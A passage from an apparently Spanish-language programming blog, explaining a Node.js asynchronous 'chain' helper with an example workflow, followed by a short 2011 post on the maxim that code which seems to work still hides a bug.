Creamos los contenedores en:
chain.first = {};
chain.last = {};

Usando map y la función anónima del código, cuando un parámetro de la función referencie a chain.first o chain.last se sustituirán en el momento por el valor correcto para su posterior evaluación en bindActor
        things[i].map(function(i){
          return (i===chain.first) ? res[0]
           : (i===chain.last)
             ? res[res.length - 1] : i 
          }
        )


Por tanto, al ejecutar la función, el callback almacenará el error o el resultado en la primera posición libre del array de resultados. Si se produce un error corta la ejecución y si no continúa:
    things[i](function (er, data) {
      res.push(er || data);
      if (er) 
        return cb(er, res);
      LOOP(i + 1)
    });


Un ejemplo de uso no trivial de esta cadena sería el siguiente guión:
  • Leer un conjunto ficheros de un directorio
  • Agregar los resultados
  • Hacer ping a un servicio web con el resultado en un servicio web
  • Guardar la respuesta en un fichero
  • Borrar el conjunto de ficheros
Suponiendo que tuviésemos correctamente definidos los métodos a usar el programa quedaría de la siguiente manera:

function myProgram (cb) {
  var res = [], last = chain.last
    , first = chain.first
  chain
    ( [ [fs, "readdir", "the-directory"]
      , [readFiles, "the-directory", last]
      , [sum, last]
      , [ping, "POST", "example.com", 80
        , "/foo", last]
      , [fs, "writeFile", "result.txt", last]
      , [rmFiles, "./the-directory", first]
      ]
, res , cb )
)

En la cadena que hemos definido, last y first se reemplazarán por el valor del primer resultado y el resultado de la ejecución anterior respectivamente.


lunes, 19 de diciembre de 2011

Tienes un bug o tienes dos problemas


Programar es cometer errores al escribir código. Programar bien es cometer errores al escribir código pero encontrarlos rápidamente y solventarlos. Por eso, tengo una máxima que repito constantemente a la gente de mi equipo. Les hace gracia, sobre todo cuando llevan poco tiempo en el equipo y son novatillos, pero siempre me acaban dando la razón. La máxima dice así:

  • Si tiras un par de líneas de código y fallan, tienes un bug.
  • Si tiras un par de líneas de código y funcionan, tienes dos problemas:
    1. Tienes un bug
    2. Y, además, no te has dado cuenta de que lo tienes.
Cuando la comento con otros desarrolladores, resulta que cuanta más experiencia tienen más de acuerdo están conmigo. Trabajar con esta máxima en la cabeza es fundamental para anticiparse a los problemas.

Y, sí, en efecto, estoy de acuerdo con vosotros en que se trata de una exageración.

No debería haber dicho "un par de líneas", debería haber dicho "una línea" ;)